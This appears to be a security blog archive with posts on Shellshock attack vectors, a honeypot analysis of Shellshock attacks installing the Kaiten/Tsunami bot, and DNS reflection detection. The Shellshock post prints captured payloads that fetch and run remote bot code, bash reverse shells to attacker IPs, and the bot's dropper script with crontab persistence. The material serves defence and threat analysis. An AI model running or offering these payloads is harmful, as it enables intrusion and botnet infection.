Tag Archives: Security Investigation

Episode 6 – ShellShock Investigation Part 2

Over the past few days, we have been researching about Shellshock and found a number of attack vectors that makes the vulnerability much easier to exploit. This article may not contain the entire list of attack vectors but we are doing our best in updating this list. Kindly leave us a comment if you have faced any attack vectors apart from what we are discussing here.

MOST COMMON VECTORS

The most commonly used vectors that can lead to exploiting this vulnerability are

  1. CGI
  2. SSH and
  3. DHCP

Apart from these commonly known attack vectors, we were able to find a list of other attack vectors, which aid in exploiting this vulnerability. We will discuss mainly the above-mentioned vectors and plunge into other less common vectors.

Shellshock is a vulnerability that allows hackers to inject commands to a computer’s operating system over the network. The vulnerability potentially affects most versions of the Linux and Unix operating systems, Mac OS X, Servers, Wi-Fi routers, Firewalls and even appliances, which invoke bash shell.

For a system to be vulnerable to Shellshock, the following 3 conditions must be met:

  1. It must set an environment variable whose value is attacker-controlled and must begin with “() } “
  2. It must invoke bash shell

3.The system must be running on a vulnerable version of bash.

Having a basic idea of Shellshock, let us begin our discussion first on the common attack vectors that are being employed.

1.Common Gateway Interface (CGI) which is an interface between a web server and executable that produce dynamic content and has been identified as the major attack vector.

Let us start our discussion with a typical HTTP request looks like the following:

GET /path?query-param-name=query-param-value HTTP/1.1
Host: www.example.com
Custom: custom-header-value

The CGI specification maps all parts to environment variables. With Apache httpd, the magic string “() {” can appear in these places:

* Host (“www.example.com”, as REMOTE_HOST)
* Header value (“custom-header-value”, as HTTP_CUSTOM in this example)
* Server protocol (“HTTP/1.1”, as SERVER_PROTOCOL)

The user name embedded in an Authorization header could be a vector as well, but the corresponding REMOTE_USER variable is only set if the user name corresponds to a known account according to the authentication configuration, and a configuration which accepts the magic string appears somewhat unlikely.

In addition, with other CGI implementations, the request method (“GET”), path (“/path”) and query string (“query-param-name=query-param-value”) may be vectors, and it is conceivable for “query-param-value” as well, and perhaps even “query-param-name”.

  1. Secure Shell (SSH) vector arises from the ForceCommand functionality, which allows a SSH server to be configured to restrict user actions. An authenticated malicious user could send a crafted communication that would trigger the BASH vulnerability, effectively allowing the attacker to break out of these restrictions and execute arbitrary commands. Since SSH is often used to tunnel and facilitate other services, applications that depend on this functionality may also be affected.
  1. DHCP clients can manipulate environment variables using data taken from DHCP server. If the DHCP client machine is running BASH, then the vulnerability will be triggered when it connects to a malicious DHCP server. This will often occur automatically, silently and with no user input. To make matters worse, DHCP clients have more privileges than CGI scripts. This affects the default DHCP clients found on most Linux flavors, but OSX is unaffected, as it uses a different implementation

We can start a DHCP server on the network and set the random string value to () { ;}; echo “This is a test”. We can replace the string to “This is a test” to any command that we want the client machine to execute.

Additional information can be grabbed from:

https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/

LESS COMMON VECTORS

As we have discussed the most common attack vectors of Shellshock vulnerability, we will also have an overview of the less common vectors that are being used to exploit the vulnerability.

MAIL SERVICES: Majority of the UNIX mail services are exposed to Shellshock vulnerability during their mail handling procedures. Exim, Postfix, qmail and Procmail are the mail services that can be used to exploit the vulnerability.

EXIM sets a number of attacker controlled environment variables when invoking the pipe transport. Whether or not it uses the shell invoke it is determined by the use_shell op­tion. Even if the use_shell is not set, the program invoked is often a shell script. Therefore, many Exim configurations are likely to be vulnerable.

Postfix does not set any attacker-controller environment variables, so Postfix is not typically vulnerable.

qmail can be used as an attack vector to exploit the bash vulnerability which can be used to execute arbitrary commands as any valid user with a .qmail containing a program delivery. The conditions that need to be met for exploiting the vulnerability using qmail are:

1) “Shellshock”-vulnerable bash

2) /bin/sh symlinked to bash

3) Email delivery via qmail to a valid user with a .qmail file containing ANY program delivery (the actual program being delivered to is irrelevant)

OPEN VPN can be configured to call out to a number of user-supplied helper programs. Open VPN does not itself use the shell invoke them, but the programs themselves are usually shell scripts. It sets a number of environment variables few of which, such as fields parsed out of the X.509 certificate, are possibly attacker-controlled. Servers can cause clients (but not vice versa) to set $foreign_option_* to arbitrary values. Many Open VPN configurations are likely to be vulnerable.

 

Episode 6 – ShellShock Investigation Part 1

ShellShock & Linux.Backdoor.Kaiten

At Infosecnirvana.com, we regularly investigate Security Threats so that we can help the larger community by sharing knowledge on all things Security. As part of the investigation efforts, we have deployed Honeypots in the wild. We will be posting a blog on this new journey we are embarking on.

Today, we got an alert from one of our Honeypots and surprisingly enough, we were surprised to see that it was a ShellShock call 🙂

This post is going to be very rudimentary, as we want to first get the information out to as many people as we can. We will be updating the post to make it more comprehensive as we closely track this “now big thing”

Here is the log alert we picked up:

28-09-2014 09:43:55,121.9.244.212,() { :;}; /bin/bash -c "wget http://stablehost.us/bots/regular.bot -O /tmp/sh;curl -o /tmp/sh http://stablehost.us/bots/regular.bot;sh /tmp/sh;rm -rf /tmp/sh",

Update: I got 2 more alerts in my Honeypot:

29-09-2014 07:43:08,
,67.227.0.73,() { :;}; /bin/bash -c "wget -P /var/tmp 174.143.240.43/.../x ; perl /var/tmp/x",

29-09-2014 09:30:11,54.251.83.67,() { :;}; /bin/bash -c "echo testing9123123"; /bin/uname -a

So being curious, I looked up first to find out more about the IP – 121.9.244.212. A quick lookup pointed to “CHINANET-GD”. Now that we know about the IP, let’s look at the command requested:

() { :;}; /bin/bash -c “wget http://stablehost.us/bots/regular.bot -O /tmp/sh;curl -o /tmp/sh http://stablehost.us/bots/regular.bot;sh /tmp/sh;rm -rf /tmp/sh

The command represents an attempt by the remote attacker to inject malicious and/or arbitrary code following a function definition to download a file called ‘SH’ to the /tmp directory.

The file ‘sh’ contains the following:

sandbox-mac:dump user$ cat regular.bot 
killall perl

wget http://stablehost.us/bots/kaiten.c -O /tmp/a.c;
curl -o /tmp/a.c http://stablehost.us/bots/kaiten.c;
gcc -o /tmp/a /tmp/a.c;
/tmp/a;
rm -rf /tmp/a.c;
   
wget http://stablehost.us/bots/a -O /tmp/a;
curl -o /tmp/a http://stablehost.us/bots/a;
chmod +x /tmp/a;
/tmp/a;

wget http://stablehost.us/bots/darwin -O /tmp/d;
curl -o /tmp/d http://stablehost.us/bots/darwin;
chmod +x /tmp/d;
/tmp/d;

wget http://stablehost.us/bots/pl -O /tmp/pl;
curl -o /tmp/pl http://stablehost.us/bots/pl;
perl /tmp/pl;
rm /tmp/pl;

echo "@weekly curl -o /tmp/sh http://stablehost.us/bots/regular.bot;wget http://stablehost.us/bots/regular.bot -O /tmp/sh;sh /tmp/sh" >/tmp/c;
crontab /tmp/c;
rm /tmp/c;

So, the file once downloaded, goes about doing a series of tasks.

  • Download a  “.C” file and compile it using “gcc”.
    sandbox-mac:dump user$ md5 kaiten.c
    MD5 (kaiten.c) = e5807250e25da45e287afb2f1e4580d6
  • Download 2 binary files:
    “a”   MD5 (a) = 7390a1e62a88eb80b5fae80c9eb00be7 – Backdoor.Linuz/Tsunami “darwin”  MD5 (d) = adacf1fa8cd7f77ae83ba38a99160bdb Backdoor:OSX/Tsunami.A
  • Makes the downloaded files as executables and executes them.
  • Next it brings down a Perl file (pl) and executes the perl file: sandbox-mac:dump user$ md5 pl MD5 (pl) = 0c25bee177101b4235022d694c0de4d3

The perl file, basically checks for other vulnerabilities, does port scanning, checks news from packet storm, Installs Socks5, does nmap, sql scanner, checks if the box is root-able, opens up IRC channels, does TCP/UDP/Http Floods based on commands received from the Master server,  performs Scanning activity to domains like, MSN,  AlltheWeb, Ask, AOL, Lycos, Yahoo, etc.

The commands used for above are:

# !bot @multiscan  
# !bot @socks5
# !bot @sql2  

# !bot @portscan 
# !bot @logcleaner
# !bot @sendmail    
# !bot @system
# !bot @cleartmp
# !bot @rootable
# !bot @nmap   
# !bot @back   
# !bot @linuxhelp
# !bot @cd tmp:. | for example
#-----[Advisory-New Based]-----
# !bot @packetstorm
# !bot @milw0rm
#-----[DDos Based]-----
# !bot @udpflood   

IRC Names:

"telnet","putty","cgi-bin","bash","tmp","var","omset","dat","chynthe","bed"

And to top it all, the bot updates itself on a weekly basis using crontab.

Now, let’s look at the domain “stablehost.us” (Update: The website has been taken down shortly after this article was posted)

Stablehost.us is registered to a gentleman in the US since Mar-16-2010.  It runs Apache server on Ubuntu OS.

sandbox-mac:dump user$ curl -I stablehost.us

HTTP/1.1 200 OK
Date: Sun, 28 Sep 2014 07:33:15 GMT
Server: Apache/2.4.7 (Ubuntu)
Last-Modified: Sat, 27 Sep 2014 19:57:07 GMT
ETag: "0-50411703b49e2"
Accept-Ranges: bytes
Content-Type: text/html

At the time of writing this article, the website is empty, probably with a blank index page (200 OK). The directory that serves the bots is also probably having a blank index page.

sandbox-mac:dump user$ curl -I http://stablehost.us/bots/
HTTP/1.1 200 OK
Date: Sun, 28 Sep 2014 07:38:23 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.4
Content-Type: text/html

According to way-back machine, there are/were only 3 edits/snapshots in the entirety of the domain life.

Wayback Machine Results

2 Blank page updates on March 1, 2011 & Aug 27, 2011 and 1 Apache test page on Jan 10, 2014.

Here is where it gets more interesting. I can confirm that this domain was purely used for bot activity.

According to the way back machine March 1, 2011 we can see the bot directory in there with the perl file and the regular.bot file

Wayback Machine Bot directory Results

01-marc-2011

After a new bot addition
02

More Patterns:

We have 1 more pattern:

121.9.244.212 – CHINANET
ShellShock Command: () { :;}; /bin/bash -c “wget http://stablehost.us/bots/regular.bot -O /tmp/sh;curl -o /tmp/sh http://stablehost.us/bots/regular.bot;sh /tmp/sh;rm -rf /tmp/sh”

In addition to these:

67.229.128.88 – Krypt Technologies (US)
Shellshock Command: () { :; }; /bin/bash -i > /dev/tcp/67.229.128.88/9527 0<&1 2>&1

153.121.58.243 – Sakura Internet (Japan)
Shellshock Comand: () { :; }; /bin/bash -i >& /dev/tcp/153.121.58.243/443 0>&1

82.99.57.32 – Datasmeden (Sweden)
Shellshock Commands:
() { :;}; /bin/bash -i >& /dev/tcp/82.99.57.32/443 0>&1
() { :;}; /bin/bash -c “/bin/bash -i >& /dev/tcp/82.99.57.32/443”
() { :;}; /bin/bash -c “/bin/bash -i >& /dev/tcp/82.99.57.32/443 0>&1”

114.96.140.114 – Chinanet Anhui Province Network (China)
Shellshock Command: () { :; }; /usr/bin/bash -i >& /dev/tcp/114.96.140.114/6032 0>&1

113.10.223.171 – NWT iDC Data Service (Hong Kong)
Shellshock Command: () { :; }; /bin/bash -i > /dev/tcp/113.10.223.171/8080 0<&1 2>&1

Indicators of Compromise:

Some Indicators that we can look for in our web/proxy logs:

IP addresses:

  • 121.9.244.212 (ISP)
  • 89.33.193.10 (PERL BOT)
  • 142.4.215.115 ( { :;}; /bin/bash -c \”cd /tmp;wget http://89.33.193.10/ji;curl -O /tmp/ji http://89.33.193.10/ji ; perl /tmp/ji;rm -rf /tmp/ji\”)
  • 67.227.0.73
  • 174.143.240.43
  • 54.251.83.67
  • 142.0.41.57
  • 153.121.58.243
  • 67.229.128.88
  • 82.99.57.32
  • 114.96.140.114
  • 113.10.223.171
  • 104.192.103.6
  • 72.167.37.182
  • 37.187.225.119
  • 195.225.34.101
  • 202.137.176.146
  • 204.232.241.139
  • 46.161.41.142
  • 81.18.135.38
  • 94.102.52.10
  • 82.118.242.223
  • 201.205.255.56
  • 83.96.168.161
  • 199.27.89.22
  • 5.135.127.38
  • 103.28.36.123
  • 82.80.195.86
  • 194.54.9.11
  • 173.45.100.18
  • 192.227.213.66
  • 70.42.149.72
  • 75.127.84.182

Web Requests: (some of the hard-coded urls in the perl file)

  • http://stablehost.us
  • http://singlesaints.com
  • http://search.hotbot.de/cgi-bin/pursuit?pag=<some_val>&query=”
  • http://us.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=
  • http://www.mozbot.fr/search?q=
  • http://www.mamma.com/Mamma?utfout=$av&qtype=0&query=
  • http://de.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=
  • http://it.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=
  • http://busca.uol.com.br/www/index.html?q=
  • http://suche.fireball.de/cgi-bin/pursuit?pag=$av&query=

Recommendations:

Please visit Identifying and Fixing Bash Vulnerability for details about testing and fixing this vulnerability

Episode 5 – Security Investigation Series – DNS Reflection Attacks

One of the most popular attacks in the Internet today is the DNS Reflection Attacks resulting in a Distributed DoS. One of the major DoS mitigation vendors, Prolexic released a Report for 2013 saying that, Distributed DoS Attacks have increased by over 20% and bandwidth utilizations have seen never before levels. Spamhaus, Network Solutions and several other companies this year have been hit by DNS Reflection attacks. The attackers specifically targeted organizations in order to hurt and humiliate them. Distributed DoS protection service providers are slowly gaining prominence. At this time, we at infosecnirvana.com feel that it is important to understand the mechanics of such attacks and how they can be detected and responded from an Enterprise Security standpoint. In this Security Investigation Series post, we talk about the usual suspects – What is DNS Reflection Attack? How do we detect them? & How do we prevent them?.

Understanding DNS Reflection Attacks: As we all know, DNS is one of the components of the internet that serves as a Directory Assistance service akin to the Yellow pages. The only difference is that DNS gives IP numbers when requested for Domain Names. People who understand how DNS Works, would definitely have heard about “Recursive DNS Querying”. Essentially a Recursive Query is like following the trail of bread crumbs till you solve the puzzle. Every DNS Server pushes up the query recursively till it gets the response for the DNS Query. This also essentially means that the Original DNS Query will be very small in size, however, the recursive query/responses will be huge in size. Since DNS uses UDP, Volume based DOS Attacks are possible by using this Recursive Querying capability. This is the basic premise of a DNS Reflection attack. By making several thousands of spoofed DNS queries that result in recursion, an amplified DNS Response can be directed to the spoofed address. To understand the attack pattern that typically a Distributed DoS Attacker would follow, lets list down the attack pattern:

  1. Attacker first compromises an Authoritative Name Server.
  2. Attacker then creates a large TXT RR (Large sized Resource Record).
  3. Attacker Spoofs the Target IP Range
  4. Attacker Sends DNS Query (with Target IP Range As Client IP) to a number of Open DNS Servers (close to 5 million Open DNS Servers allow recursive querying) in such a way that Recursive Query happens and they retrieve the TXT RR.
  5. In order to achieve Amplification, the attacker then uses Several compromised Zombies to send our DNS Requests for the larger resource record (RR).
  6. All the Responses go to the Spoofed IP – Typically the Organisation the attacker wants to flood with DNS responses thereby causing a potential Distributed DOS scenario because of Bandwidth Consumption.
  7. Typical rates of amplification achieved are – For every 100 Mb/s of request Traffic, reply traffic can be up to 10 Gb/s

Imaging several gigabytes of DNS Packets hitting your perimeter and choking the bandwidth. This is what a DNS Amplification Attack or a DNS reflection attack can do.

Detection of DNS Reflection Attacks: Now that we understand the Anatomy of the attack, lets see how we can detect them. DNS Reflection attacks have IP Spoofing as the basic premise to redirect DNS Query Responses to a Target site. However, if the target site was able to detect that it never sent a DNS Query to elicit a DNS response, these attacks can be mitigated or stopped right away. However, detecting this is easier said then done. This can be done using a combination of Network Traffic monitoring, IDS/IPS & SIEM Technologies. Using a Network Monitoring tool like IPTraf, Netwatch,Netramet, we can gather DNS Statistics. Use a custom Script or a custom parser (SIEM parlance), we can normalize the Statistics into a more simpler State table (This is similar to the Firewall State table but mainly for UDP, called a Pseudo-state table). The table should contain a minimum of the following parameters:

  • Transaction ID (This is unique DNS Query ID. The Response received from the Authoritative DNS Server will have the same Transaction ID). 
  • Source IP Address of DNS Query initiator client
  • Source Port of the initiator client
  • Destination Address to which the Query is directed to
  • Destination port the Query is directed to

If there is a Query with a Transaction ID (say 0xcefd) & a corresponding response with the same transaction ID, we can safely say that the DNS Query & Response pair is legitimate. However, if there is only a Query or a Response, they are categorized as an “Orphan entry”. Orphan entries can be two types: 1. Only Query packet seen but no response is seen. & 2. Only Response packet is seen but no query packet is seen. Only Query & no response in my opinion is less harmful and can be safely ignored. But keep in mind, if this number is too high, it means something is wrong with your organizations DNS client or server and could even potential indicate a compromised asset. Only Response & No Query is the most likely candidate for DNS Reflection attacks. However, we need to also keep in mind that for smaller volumes these can lead to false positives as well. Some of the reasons for this is infrastructure logging fidelity (since DNS is UDP), bad routing of outbound traffic etc. In essence, our focus is on DNS Responses without preceding Queries. Now that we know what to look for, we need to start filtering all the remaining noise. This is where Range Thresholds are important. A small volume may not warrant attention, however, if there is an exponential increase in volume, it is really important to take actions aimed at mitigation. This is where an SIEM system comes in handy, Giving you a trend analysis based on the data collected over a time period. Let me just show you how this can be done in ArcSight SIEM. Data from the Traffic monitors can be parsed using a File Reader Custom Parser (using ArcSight Flex Connector). This parser can parse the required data fields as mentioned above from the Network logs and can map them to a native Event field schema. Then we use a Rule to populate all the Queries in an (First) Active list called DNS Query List. Similarly we use a Rule to populate all the Responses in another (Second) Active List called DNS Response List. You can then have a separate rule to populate a Third Active List for Orphan entries. This list will be a count based list giving you how many entries are there without Responses. A monitoring Dashboard can be then created for detecting Trend patterns  due to an increase in the Orphan entry list which would typically indicate a DNS Reflection Attack. I am sure there are couple of other ways we can get this done in ArcSight, but I am not going to go into those details in this post. But basically you should be able to get an idea of how this can be done. As far as other SIEM vendors are concerned, QRadar SIEM has some capabilities to do this, however I don’t think McAfee Nitro & Symantec SIM have this capability (Readers, let me know what you think about these SIEM Tools and whether this logic can be implemented or not).

Mitigation Methods for DNS Reflection Attacks: Once the suspicious list shows an increased percentage of Orphaned Response entries, there is a high likelihood that the organization is targeted. Unless you have partnered with a Distributed  DoS protection service provider, fending off such attacks would be a challenging prospect. However, there are ways and means to mitigate the attack from getting bigger.To start of with, lets look at the perimeter defences and how we can leverage them to mitigate the attack. Organizations generally will have a core router, an IPS/IDS, an Authoritative name server and a firewall.

On the core router we can enable URPF (Unicast Reverse Path Forwarding) to ensure that spoofing based attacks are controlled.

On the IDS side, we can enable rate limiting signatures for DNS packets to detect and probably drop packets thereby limiting the success of DNS Amplification based attacks. We can also enable Geography based filtering to ensure that the attacks remain controlled within a region.

On the DNS server side, we can limit the recursion so that our DNS servers don’t become part of the amplification attack. There are some experimental features in DNS on Rate Limiting on DNS Responses, however it is not commercialized and not many people have this feature tested. There is a great paper on the technical details of this feature. Please visit http://ss.vix.su/~vixie/isc-tn-2012-1.txt to take a look at it.

Finally, if you have money, spend on Distributed DoS protection services from Cloudflare, Imperva, Akamai, Prolexic etc. who can provide you with some of the rate limiting and geo based filtering based protection.

A combination of all these controls will ensure that the attacks are mitigated to a great extent. However, if you bandwidth is choked, you would still face a service disruption and slow website loading, but considering the defences, this would a good start.

What do you think would be your strategy to combat DNS Reflector attacks? Would you do it yourself or would you play with the big boys shelling big bucks? Chime on.

Until then….Detect & Respond.